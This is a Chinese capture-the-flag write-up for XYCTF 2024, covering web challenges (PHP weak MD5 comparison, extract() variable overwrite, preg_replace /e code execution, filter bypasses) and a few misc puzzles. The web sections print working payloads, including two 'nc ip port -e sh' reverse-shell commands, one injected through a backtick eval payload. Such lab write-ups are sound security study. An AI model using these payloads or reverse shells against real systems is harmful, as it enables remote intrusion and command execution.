XYCTF 2024

news/2024/9/23 9:29:49/
http://www.w3.org/2000/svg" style="display: none;">

Web

参考博客:https://www.yuque.com/yunzhiyunweiji/wrgkex/rfpnkn0293l7cp09#ezMake

http_2">ezhttp

Via - HTTP | MDN
代理那里难住了
https://img-blog.csdnimg.cn/img_convert/c0c7a21666d54c96a0a787f30dcfd712.png" alt="image.png" />
XFF不给用可以用client-ip
https://img-blog.csdnimg.cn/img_convert/e462b4517365ea173a3de73d8d929bcb.png" alt="image.png" />

ezmd5

让我们上传图片并比较,结合题目名可以猜测应该是比较两个图片的md5值是否相同,用fastcoll工具生成两个相同的图片,然后上传即可。
https://img-blog.csdnimg.cn/img_convert/0bf1ed15d405251889ff16ebec7b3fac.png" alt="image.png" />
https://img-blog.csdnimg.cn/img_convert/d7b04c2a90c95b562fa2d8606014113c.png" alt="image.png" />

ez!Make

直接输入cat /flag即可
https://img-blog.csdnimg.cn/img_convert/52ba0736455921df4b19155386523d28.png" alt="image.png" />

ezmake

很若至的非预期,出题人居然这个也能忘关flag路由,访问即送flag:
1
http://localhost:39701/flag
参考博客:https://www.yuque.com/yunzhiyunweiji/wrgkex/rfpnkn0293l7cp09#ezMake
https://img-blog.csdnimg.cn/img_convert/84dc4f8b9bfe14f5cf7bcd605cb23986.png" alt="image.png" />

ez?Make

fuzz一下,过滤了较多命令,但是nc未过滤,直接连服务器。
反弹shell

nc ip port -e sh

https://img-blog.csdnimg.cn/img_convert/9498c2343ad5c805e5c7680a2f9a62ba.png" alt="image.png" />
https://img-blog.csdnimg.cn/img_convert/32291316ade9e039da506d2133e9455d.png" alt="image.png" />

warm up

第一关:
先md5弱比较,使用了强制类型转换后不再接收数组
md5弱比较,为0e开头的会被识别为科学记数法,结果均为0,所以只需找两个md5后都为0e开头且0e后面均为数字的值即可。
不同数据弱相等
payload: a=QNKCDZO&b=240610708

然后是_MD5等于自身_:
如md5( a ) = = a)== a)==a,php弱比较会把0e开头识别为科学计数法,结果均为0,所以此时需要找到一个MD5加密前后都是0e开头的,如0e215962017

然后extract(_GET)是变量覆盖漏洞。
给XY和XYCTF传相同的值即可。

最终payload:

val1=QNKCDZO&val2=240610708&md5=0e215962017&XY=240610708&XYCTF=240610708

https://img-blog.csdnimg.cn/img_convert/57c376834e753448dc30fb2de1a1bb3a.png" alt="image.png" />

第二关:
a不能是数字,但是intval会返回1,了解intval函数特性
https://img-blog.csdnimg.cn/img_convert/91492d61de6ae0975e0122f8672a8cd4.png" alt="image.png" />
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。

那么传数组进去,a[]=a

下一步是,preg_replace在/e模式下可以任意命令执行
深入研究preg_replace与代码执行 - 先知社区

补充一下preg_replace的用法:

<?php
$str = 'Visit Microsoft!';
$pattern = '/microsoft/i';
echo preg_replace($pattern, 'W3Schools', $str);
?>
输出:Visit W3Schools!

preg_replace /e 模式下的代码执行

<?
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>
第二个参数所代表的的内容将被执行

最终payload:

?a=/1/e&b=system('cat /f*')&c=1POST:
a[]=1

https://img-blog.csdnimg.cn/img_convert/f878634e0dcd5b9bb24438e8d3e04122.png" alt="image.png" />

牢牢记住,逝者为大

过滤了很多命令,但反引号没过滤,可以用反引号当shell_exec()函数执行命令。

eval前面和后面都有脏数据,最简单的办法是换行和注释绕过。分别在最前和最后加上%0a、%23

这道题没过滤nc,所以照样可以让这边连我们的服务器。

因为cmd有长度限制,所以我们可以用$_GET[1]传递参数。

记得eval中的命令都必须要加分号。

最终payload:

?cmd=%0a`$_GET[1]`;%23&1=nc ip port  -e sh

反弹shell
https://img-blog.csdnimg.cn/img_convert/1c9a7d2c59ad0e97da4590f34b6a248d.png" alt="image.png" />
https://img-blog.csdnimg.cn/img_convert/805265728104fbc58ea2808309eb3576.png" alt="image.png" />

Misc

game

Google识图即可
https://img-blog.csdnimg.cn/img_convert/8566ec0c6eb4494f9ab74567cef7d974.png" alt="image.png" />
https://img-blog.csdnimg.cn/img_convert/b65bcc454152ba9a656bf49ba542c867.png" alt="image.png" />
Papers Please就是flag

zzl的护理小课堂

ctrl + U查看源代码,发现flag.php
https://img-blog.csdnimg.cn/img_convert/40e028d9557608f34182641158d419d2.png" alt="image.png" />
发POST包让score = 100 即可 获得flag
https://img-blog.csdnimg.cn/img_convert/cb05f903a80d25df76b3c8b17d3417dc.png" alt="image.png" />

zip套之神

明文攻击
https://img-blog.csdnimg.cn/img_convert/4f2103c3448d12c4d700ba15fb1a78fc.png" alt="image.png" />
https://img-blog.csdnimg.cn/img_convert/02b34d558e3e6153e8637a96b41ffb88.png" alt="image.png" />


http://www.ppmy.cn/news/1445680.html

相关文章

用Docker单独安装xiaoya-alist

五一快到了&#xff0c;每到节假日&#xff0c;各个景点就人头攒动&#xff0c;就不出门添堵了&#xff0c;准备在家看看电影、喝喝茶 看电影老苏喜欢用播放器&#xff0c;Native客户端的功能是网页端没法比的&#xff0c;Windows 上用的 PotPlayer&#xff0c;Mac 上则用 IIN…

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第七套

华为海思校园招聘-芯片-数字 IC 方向 题目分享——第七套 (共9套&#xff0c;有答案和解析&#xff0c;答案非官方&#xff0c;未仔细校正&#xff0c;仅供参考&#xff09; 部分题目分享&#xff0c;完整版获取&#xff08;WX:didadidadidida313&#xff0c;加我备注&#x…

ROS机器人小车建模仿真

ROS机器人小车建模仿真 引言&#xff1a; ​ 在机器人技术的迅速发展中&#xff0c;仿真技术已成为研究和教育领域的重要工具。通过仿真&#xff0c;我们可以在虚拟环境中测试和验证机器人的设计和行为&#xff0c;无需承担高昂的成本和潜在的风险。本实验从零开始&#xff0c;…

词令直达美团外卖红包天天领入口怎么领外卖节红包优惠券?

词令是一款关键词口令直达工具。通过词令关键词口令直达工具&#xff0c;输入指定的词令关键词直达口令&#xff0c;搜索直达进入该词令管理的目标。 词令直达美团外卖红包天天领入口怎么领外卖节红包优惠券&#xff1f; 1、打开「词令」微信小程序&#xff1b; 2、点击搜索框…

GaussianTalker 学习笔记

目录 巴塞尔面部模型 01_MorphableModel.mat 下载地址: 数据准备转换BFM 缺少diff_gaussian_rasterization.py

UE5主视口导航快捷键汇总

镜头移动: 按住鼠标右键并移动 - 旋转视角 按住鼠标中键或Alt鼠标左键并移动 - 平移视角 滚动鼠标滚轮 - 缩放视角 焦点模式切换: F - 切换为焦点模式,此时可利用键盘方向键移动选中对象 AltF - 切换为焦点延展模式,视角跟随选中对象移动 对象选择/操作: 鼠标左键点击 …

语音识别的基本概念

语音识别的基本概念​​​​​​​ ​​​​​​​ 言语是一种复杂的现象。人们很少了解它是如何产生和感知的。天真的想法常常是语音是由单词构成的&#xff0c;而每个单词又由音素组成。不幸的是&#xff0c;现实却大不相同。语音是一个动态过程&#xff0c;没有明确区分的…

液体燃料运输厂数字孪生系统:智绘安全运输新蓝图

随着科技的不断进步&#xff0c;液体燃料运输行业正迎来一场前所未有的变革。在这场变革中&#xff0c;数字孪生系统以其独特的优势&#xff0c;正逐渐成为推动液体燃料运输厂转型升级的关键力量。 液体燃料作为现代社会的重要能源之一&#xff0c;其运输过程中的安全性和效率性…